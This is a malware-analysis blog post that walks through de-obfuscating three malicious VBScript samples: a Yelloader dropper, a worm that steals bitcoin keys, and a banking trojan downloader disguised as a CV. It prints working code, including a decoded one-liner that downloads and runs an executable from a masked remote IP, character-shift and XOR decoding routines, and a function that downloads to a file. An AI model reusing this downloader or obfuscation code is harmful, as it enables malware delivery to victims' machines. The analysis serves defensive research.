Although they were never really gone, it looks like there is a rise in the number of malicious vbscripts in the wild. Maybe the similarity to VBA scripts and possible use in macros is responsible for the increased popularity. Let’s have a quick look at a few of them.
First some background
VBScript has been installed with every desktop version of Windows since Windows 98 and is based on the Visual Basic programming language. So, the advantages are that it is a reasonably straightforward language to use and the scripts will run on almost any Windows computer. The language being easy to interpret is also a bit of a problem for malware authors as researchers have no problems interpreting what they are up to. So some of them have tried some obfuscation methods to make it harder for researchers.
We will have a look at some examples. Starting with an easy one and working our way up.
This one has the filename TEMPcoral.vbs and it piqued my interest as it was often found on systems that were heavily infected. Being one of the first to arrive on such systems it looked as if was the start of a series of infections that we call Yelloader. Mostly Trojan.Droppers and Trojan.Clickers. You can find some examples in this removal guide. There are several versions of TEMPcoral.vbs but one of them was indeed responsible for downloading and running a Trojan.Dropper that lead to the rest of the infections.
This is a part of the obfuscated code:
dim all all=Chr(83)+Chr(101)+Chr(116)+Chr(32)+Chr(115)+Chr(104)+Chr(97)+Chr(119)+Chr(111)+Chr(115)+Chr(104)+Chr(105)+Chr(115)+Chr(104)+Chr(105)+Chr(32)+Chr(61)+Chr(32)+Chr(67)+Chr(114)+Chr(101)+Chr(97)+Chr(116)+Chr(101)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116)+Chr(40)+Chr(34)+Chr(77)+Chr(105)+Chr(99)+ etc Execute(all)
The author simply replaced every character in the script with its character code. De-obfuscating straightforward scripts like this is as easy as changing “execute” into “wscript.echo” and you can look at the code.
dim all all=Set shawoshishi = CreateObject("Micros"+"oft.XMLH""TTP"):Set yunxingqilaiba = CreateObject("Wsc""rip""t.Shell"):shawoshishi.Open "GET","http://xxx.xxx.xxx.xxx/~pchomee/dom/setup.exe",0:shawoshishi.setRequestHeader "If-Modified-Since",0:shawoshishi.Send():Set shishijiushishi = CreateObject("ADODB.Stream"):shishijiushishi.Mode = 3:shishijiushishi.Type = 1:shishijiushishi.Open():shishijiushishi.Write(shawoshishi.responseBody):dim conststr:conststr="abcdefghijklmnopqrstuvwxyz":dim i,rtime:rtime="":For i=0 To 4:Randomize:rtime=rtime&Mid(conststr,Int(Rnd()*Len(conststr))1,1):Next:Set env=yunxingqilaiba.Environment("Process"):temppath=env.Item("TEMP"):path=temppath&"\"&rtime&".exe":shishijiushishi.SaveToFile path,2:path=path&" -install":wscript.sleep(1000):s="yunxing""qilaiba.R""un(path)":Execute(s) Execute(all)
I x-rated the IP but for those interested this is the setup.exe that will be downloaded
The next example called Bare Bones BTC $.vbs was a bit more complicated, but de-obfuscating it was more or less just as simple. We detect it as Worm.Jenxcus.Script. This one overwrites all vbs files on a system with copies of itself and tries to steal bitcoin keys.
dim Bny_Slom Bny_Slom = "42#63#94#35#117#104#102#114#103#104#117#35#61#35#107#114#120#103#108#113#108#35#43#102#44#35#118#110#124#115#104#35#61#35#107#114#120#103#108#113#108#48#105#123#35#96#etc . . . . Suleiman = "" For Each Salem In Split(Bny_Slom, "#") Suleiman = Suleiman & Chr(Salem - 3) Next dim i i = 1 do until i = 10 Execute Suleiman loop
I removed the Skype handle of the malware author and part of the host-name
And to show you that it’s not always that easy we will have a look at some parts of a file called Curriculum_vitae_Suzana_p.vbs that turned out to be a Banker.Trojan Downloader.
This one uses a lot of functions. One of them was written to obfuscate a lot of other parts of the code.
Below is the obfuscated code in this function:
function RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu(cdguuaFZj) Dim IVtfgpHgZVTWSQzHZNClG Dim GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT Dim PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm Dim jNdOjYXVIVKyQAEpJhb Dim MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE Dim WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ Dim nnzVOsFZXdNgBVgD Dim dbjsiqCAm IVtfgpHgZVTWSQzHZNClG = Len(Cstr(22-21)) - (26-25) GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT = IVtfgpHgZVTWSQzHZNClG PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm = CLng("&h" & Mid(cdguuaFZj, (26-25), (10-8))) jNdOjYXVIVKyQAEpJhb = (10-8) + (12-11) do MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE = CLng("&h" & Mid(cdguuaFZj, jNdOjYXVIVKyQAEpJhb, (10-8))) If (GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT < IVtfgpHgZVTWSQzHZNClG) Then GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT = GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT + (16-15) Else GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT = (16-15) End If WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ = MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE Xor Asc(Mid(Cstr((6-5)),GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT,(46-45))) if (WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ <= PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm) Then WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ = 25 + 25 + 25 + 25 + 25 + 25 + 25 + 25 + 25 + 25 + 5 + WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ - PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm Else WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ = WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ - PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm End If nnzVOsFZXdNgBVgD = nnzVOsFZXdNgBVgD & chr(WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ) PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm = MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE jNdOjYXVIVKyQAEpJhb = jNdOjYXVIVKyQAEpJhb + (10-8) loop until (jNdOjYXVIVKyQAEpJhb >= len(cdguuaFZj)) RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu = nnzVOsFZXdNgBVgD end function
Giving the variables meaningful names and solving the calculations makes this function a lot friendlier to look at:
function FunctionDecrypt1(input) Dim Integer1 Dim Integer2 Dim Long1 Dim Integer3 Dim Long2 Dim Long3 Dim String1 Integer1 = 0 Integer2 = Integer1 Long1 = CLng("&h" & Mid(input, (1), (2))) Integer3 = 3 do Long2 = CLng("&h" & Mid(input, Integer3, 2)) If (Integer2 < Integer1) Then Integer2 = Integer2 + 1 Else Integer2 = 1 End If Long3 = Long2 Xor Asc(Mid(Cstr((1)),Integer2,(1))) if (Long3 <= Long1) Then Long3 = 255 + Long3 - Long1 Else Long3 = Long3 - Long1 End If String1 = String1 & chr(Long3) Long1 = Long2 Integer3 = Integer3 + (2) loop until (Integer3 >= len(input)) FunctionDecrypt1 = String1 end function
As an example of how this function was used in other parts of the script we can have a look at the section where the script downloads a file and writes that to a location on the infected system.
This is the before:
function YMGdwSKMICYDqMeUVeZQJrylhKndIYzbUDNvOOqFRXcHVpiic(BOUhcBXabUipFqVjyrEHaeWQHnUsAerb,qjMdnLJlsdGPJnXw) On Error Resume Next Set mPnrPkNOJASpwppobITDRCBz = CreateObject(RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("DB185A83E11F60BF2947A2DB016485")) mPnrPkNOJASpwppobITDRCBz.open RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("186E82E7"), BOUhcBXabUipFqVjyrEHaeWQHnUsAerb, false mPnrPkNOJASpwppobITDRCBz.send() IpsflGFZyCjOdhdksrqaMWUaqll = (mPnrPkNOJASpwppobITDRCBz.Status = (((1 + 1 + 1) * (50 + 10)) + (10 + 10))) If IpsflGFZyCjOdhdksrqaMWUaqll Then Set okYHoYEauCTLLmt = CreateObject(RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("58A8DD1C51A2E104498ADE71EF")) okYHoYEauCTLLmt.Open okYHoYEauCTLLmt.Type = 1 okYHoYEauCTLLmt.Write mPnrPkNOJASpwppobITDRCBz.ResponseBody okYHoYEauCTLLmt.Position = 0 Set RvcTWPRHvSwoOYfHLbVIFYJWGFyXCGVawFkM = Createobject(RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("B73AAC2EA626AB24A33A59AE29A43BBF084A8FC50260F36FE578DD")) If RvcTWPRHvSwoOYfHLbVIFYJWGFyXCGVawFkM.Fileexists(qjMdnLJlsdGPJnXw) Then RvcTWPRHvSwoOYfHLbVIFYJWGFyXCGVawFkM.DeleteFile qjMdnLJlsdGPJnXw End If okYHoYEauCTLLmt.SaveToFile qjMdnLJlsdGPJnXw okYHoYEauCTLLmt.Close Set okYHoYEauCTLLmt = Nothing End if Set mPnrPkNOJASpwppobITDRCBz = Nothing end function
After some renaming and using the function we figured out earlier, this is the after.
function DownloadToFile(url1,StringPathToFile) On Error Resume Next Set httpObject = CreateObject(MSXML2.XMLHTTP) httpObject.open GET, url1, false httpObject.send() LongStatusBooleanBoolean = (httpObject.Status = (200)) If LongStatusBooleanBoolean Then Set objectStream = CreateObject(ADODB.Stream) objectStream.Open objectStream.Type = 1 objectStream.Write httpObject.ResponseBody objectStream.Position = 0 Set Object1 = Createobject(Scripting.FileSystemObject) If Object1.Fileexists(StringPathToFile) Then Object1.DeleteFile StringPathToFile End If objectStream.SaveToFile StringPathToFile objectStream.Close Set objectStream = Nothing End if Set httpObject = Nothing end function
Even though the malware author in this case was friendly enough to insert comments about the use of some functions (in Portuguese) this one took me a lot more time to de-obfuscate as the other two. Most of all because the use of functions makes the script a lot less straightforward. I had to find and figure out the “DecryptFunction” first before I could make any sense of the rest.
Vbscripts can arrive on your system in different ways where drive-by downloads (think malvertising). There are also many methods that infect word and excel documents. Due to the close relationship between VBA and VBScript and the fact that the Office document types are usually allowed as attachments, contrary to executables, this method is likely to stay in use.
If you don’t need to run scripts, consider disabling Windows Script Host. Also do not enable macros unless you are positively sure that you can trust and actually need to do so to use the document at hand. If possible contact the sender/creator and ask about the necessity.
With the returned popularity of visual basic as a first attack vector in mind, we took a look at de-obfuscating a few recent vbs files starting with a very easy one and progressing to a lot more complex script.
Special thanks to my online friends that helped me find samples: Oh My!, tetonbob and blender.